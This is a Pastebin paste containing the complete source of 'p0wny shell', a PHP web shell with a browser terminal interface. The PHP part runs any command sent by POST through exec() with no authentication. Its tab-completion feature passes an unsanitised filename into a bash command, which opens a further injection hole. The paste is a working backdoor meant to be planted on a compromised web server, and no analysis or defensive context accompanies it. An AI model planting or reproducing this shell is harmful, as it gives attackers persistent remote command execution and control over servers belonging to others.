Harcrack

p0wny shell

Oct 19th, 2018
212
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 12.07 KB | None | 0 0
  1. <?php
  2. function featureShell($cmd, $cwd) {
  3.     $stdout = array();
  4.     if (preg_match("/^\s*cd\s*$/", $cmd)) {
  5.         // pass
  6.     } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
  7.         chdir($cwd);
  8.         preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
  9.         chdir($match[1]);
  10.     } else {
  11.         chdir($cwd);
  12.         exec($cmd, $stdout);
  13.     }
  14.     return array(
  15.         "stdout" => $stdout,
  16.         "cwd" => getcwd()
  17.     );
  18. }
  19. function featurePwd() {
  20.     return array("cwd" => getcwd());
  21. }
  22. function featureHint($fileName, $cwd, $type) {
  23.     chdir($cwd);
  24.     if ($type == 'cmd') {
  25.         $cmd = "compgen -c $fileName";
  26.     } else {
  27.         $cmd = "compgen -f $fileName";
  28.     }
  29.     $cmd = "/bin/bash -c \"$cmd\"";
  30.     $files = explode("\n", shell_exec($cmd));
  31.     return array(
  32.         'files' => $files,
  33.     );
  34. }
  35. if (isset($_GET["feature"])) {
  36.     $response = NULL;
  37.     switch ($_GET["feature"]) {
  38.         case "shell":
  39.             $cmd = $_POST['cmd'];
  40.             if (!preg_match('/2>/', $cmd)) {
  41.                 $cmd .= ' 2>&1';
  42.             }
  43.             $response = featureShell($cmd, $_POST["cwd"]);
  44.             break;
  45.         case "pwd":
  46.             $response = featurePwd();
  47.             break;
  48.         case "hint":
  49.             $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
  50.     }
  51.     header("Content-Type: application/json");
  52.     echo json_encode($response);
  53.     die();
  54. }
  55. ?><!DOCTYPE html>
  56.  
  57. <html>
  58.  
  59.     <head>
  60.         <meta charset="UTF-8" />
  61.         <title>p0wny@shell:~#</title>
  62.         <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  63.         <style>
  64.             html, body {
  65.                 margin: 0;
  66.                 padding: 0;
  67.                 background: #333;
  68.                 color: #eee;
  69.                 font-family: monospace;
  70.             }
  71.             #shell {
  72.                 background: #222;
  73.                 max-width: 800px;
  74.                 margin: 50px auto 0 auto;
  75.                 box-shadow: 0 0 5px rgba(0, 0, 0, .3);
  76.                 font-size: 10pt;
  77.                 display: flex;
  78.                 flex-direction: column;
  79.                 align-items: stretch;
  80.             }
  81.             #shell-content {
  82.                 height: 500px;
  83.                 overflow: auto;
  84.                 padding: 5px;
  85.                 white-space: pre-wrap;
  86.                 flex-grow: 1;
  87.             }
  88.             #shell-logo {
  89.                 font-weight: bold;
  90.                 color: #FF4180;
  91.                 text-align: center;
  92.             }
  93.             @media (max-width: 991px) {
  94.                 #shell-logo {
  95.                     display: none;
  96.                 }
  97.                 html, body, #shell {
  98.                     height: 100%;
  99.                     width: 100%;
  100.                     max-width: none;
  101.                 }
  102.                 #shell {
  103.                     margin-top: 0;
  104.                 }
  105.             }
  106.             @media (max-width: 767px) {
  107.                 #shell-input {
  108.                     flex-direction: column;
  109.                 }
  110.             }
  111.             .shell-prompt {
  112.                 font-weight: bold;
  113.                 color: #75DF0B;
  114.             }
  115.             .shell-prompt > span {
  116.                 color: #1BC9E7;
  117.             }
  118.             #shell-input {
  119.                 display: flex;
  120.                 box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
  121.                 border-top: rgba(255, 255, 255, .05) solid 1px;
  122.             }
  123.             #shell-input > label {
  124.                 flex-grow: 0;
  125.                 display: block;
  126.                 padding: 0 5px;
  127.                 height: 30px;
  128.                 line-height: 30px;
  129.             }
  130.             #shell-input #shell-cmd {
  131.                 height: 30px;
  132.                 line-height: 30px;
  133.                 border: none;
  134.                 background: transparent;
  135.                 color: #eee;
  136.                 font-family: monospace;
  137.                 font-size: 10pt;
  138.                 width: 100%;
  139.                 align-self: center;
  140.             }
  141.             #shell-input div {
  142.                 flex-grow: 1;
  143.                 align-items: stretch;
  144.             }
  145.             #shell-input input {
  146.                 outline: none;
  147.             }
  148.         </style>
  149.  
  150.         <script>
  151.             var CWD = null;
  152.             var commandHistory = [];
  153.             var historyPosition = 0;
  154.             var eShellCmdInput = null;
  155.             var eShellContent = null;
  156.             function _insertCommand(command) {
  157.                 eShellContent.innerHTML += "\n\n";
  158.                 eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
  159.                 eShellContent.innerHTML += escapeHtml(command);
  160.                 eShellContent.innerHTML += "\n";
  161.                 eShellContent.scrollTop = eShellContent.scrollHeight;
  162.             }
  163.             function _insertStdout(stdout) {
  164.                 eShellContent.innerHTML += escapeHtml(stdout);
  165.                 eShellContent.scrollTop = eShellContent.scrollHeight;
  166.             }
  167.             function featureShell(command) {
  168.                 _insertCommand(command);
  169.                 makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function(response) {
  170.                     _insertStdout(response.stdout.join("\n"));
  171.                     updateCwd(response.cwd);
  172.                 });
  173.             }
  174.             function featureHint() {
  175.                 if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete
  176.                 function _requestCallback(data) {
  177.                     if (data.files.length <= 1) return;  // no completion
  178.                     if (data.files.length === 2) {
  179.                         if (type === 'cmd') {
  180.                             eShellCmdInput.value = data.files[0];
  181.                         } else {
  182.                             var currentValue = eShellCmdInput.value;
  183.                             eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
  184.                         }
  185.                     } else {
  186.                         _insertCommand(eShellCmdInput.value);
  187.                         _insertStdout(data.files.join("\n"));
  188.                     }
  189.                 }
  190.                 var currentCmd = eShellCmdInput.value.split(" ");
  191.                 var type = (currentCmd.length === 1) ? "cmd" : "file";
  192.                 var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
  193.                 makeRequest(
  194.                     "?feature=hint",
  195.                     {
  196.                         filename: fileName,
  197.                         cwd: CWD,
  198.                         type: type
  199.                     },
  200.                     _requestCallback
  201.                 );
  202.             }
  203.             function genPrompt(cwd) {
  204.                 cwd = cwd || "~";
  205.                 var shortCwd = cwd;
  206.                 if (cwd.split("/").length > 3) {
  207.                     var splittedCwd = cwd.split("/");
  208.                     shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
  209.                 }
  210.                 return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
  211.             }
  212.             function updateCwd(cwd) {
  213.                 if (cwd) {
  214.                     CWD = cwd;
  215.                     _updatePrompt();
  216.                     return;
  217.                 }
  218.                 makeRequest("?feature=pwd", {}, function(response) {
  219.                     CWD = response.cwd;
  220.                     _updatePrompt();
  221.                 });
  222.             }
  223.             function escapeHtml(string) {
  224.                 return string
  225.                     .replace(/&/g, "&amp;")
  226.                     .replace(/</g, "&lt;")
  227.                     .replace(/>/g, "&gt;");
  228.             }
  229.             function _updatePrompt() {
  230.                 var eShellPrompt = document.getElementById("shell-prompt");
  231.                 eShellPrompt.innerHTML = genPrompt(CWD);
  232.             }
  233.             function _onShellCmdKeyDown(event) {
  234.                 switch (event.key) {
  235.                     case "Enter":
  236.                         featureShell(eShellCmdInput.value);
  237.                         insertToHistory(eShellCmdInput.value);
  238.                         eShellCmdInput.value = "";
  239.                         break;
  240.                     case "ArrowUp":
  241.                         if (historyPosition > 0) {
  242.                             historyPosition--;
  243.                             eShellCmdInput.blur();
  244.                             eShellCmdInput.focus();
  245.                             eShellCmdInput.value = commandHistory[historyPosition];
  246.                         }
  247.                         break;
  248.                     case "ArrowDown":
  249.                         if (historyPosition >= commandHistory.length) {
  250.                             break;
  251.                         }
  252.                         historyPosition++;
  253.                         if (historyPosition === commandHistory.length) {
  254.                             eShellCmdInput.value = "";
  255.                         } else {
  256.                             eShellCmdInput.blur();
  257.                             eShellCmdInput.focus();
  258.                             eShellCmdInput.value = commandHistory[historyPosition];
  259.                         }
  260.                         break;
  261.                     case 'Tab':
  262.                         event.preventDefault();
  263.                         featureHint();
  264.                         break;
  265.                 }
  266.             }
  267.             function insertToHistory(cmd) {
  268.                 commandHistory.push(cmd);
  269.                 historyPosition = commandHistory.length;
  270.             }
  271.             function makeRequest(url, params, callback) {
  272.                 function getQueryString() {
  273.                     var a = [];
  274.                     for (var key in params) {
  275.                         if (params.hasOwnProperty(key)) {
  276.                             a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
  277.                         }
  278.                     }
  279.                     return a.join("&");
  280.                 }
  281.                 var xhr = new XMLHttpRequest();
  282.                 xhr.open("POST", url, true);
  283.                 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  284.                 xhr.onreadystatechange = function() {
  285.                     if (xhr.readyState === 4 && xhr.status === 200) {
  286.                         try {
  287.                             var responseJson = JSON.parse(xhr.responseText);
  288.                             callback(responseJson);
  289.                         } catch (error) {
  290.                             alert("Error while parsing response: " + error);
  291.                         }
  292.                     }
  293.                 };
  294.                 xhr.send(getQueryString());
  295.             }
  296.             window.onload = function() {
  297.                 eShellCmdInput = document.getElementById("shell-cmd");
  298.                 eShellContent = document.getElementById("shell-content");
  299.                 updateCwd();
  300.                 eShellCmdInput.focus();
  301.             };
  302.         </script>
  303.     </head>
  304.  
  305.     <body>
  306.         <div id="shell">
  307.             <pre id="shell-content">
  308.                 <div id="shell-logo">
  309.         ___                         ____      _          _ _        _  _   <span></span>
  310.  _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ <span></span>
  311. | '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|<span></span>
  312. | |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|<span></span>
  313. | .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  <span></span>
  314. |_|                         |___/  \____/                                  <span></span>
  315.                 </div>
  316.             </pre>
  317.             <div id="shell-input">
  318.                 <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
  319.                 <div>
  320.                     <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
  321.                 </div>
  322.             </div>
  323.         </div>
  324.     </body>
  325.  
  326. </html>
Advertisement
Add Comment
Please, Sign In to add comment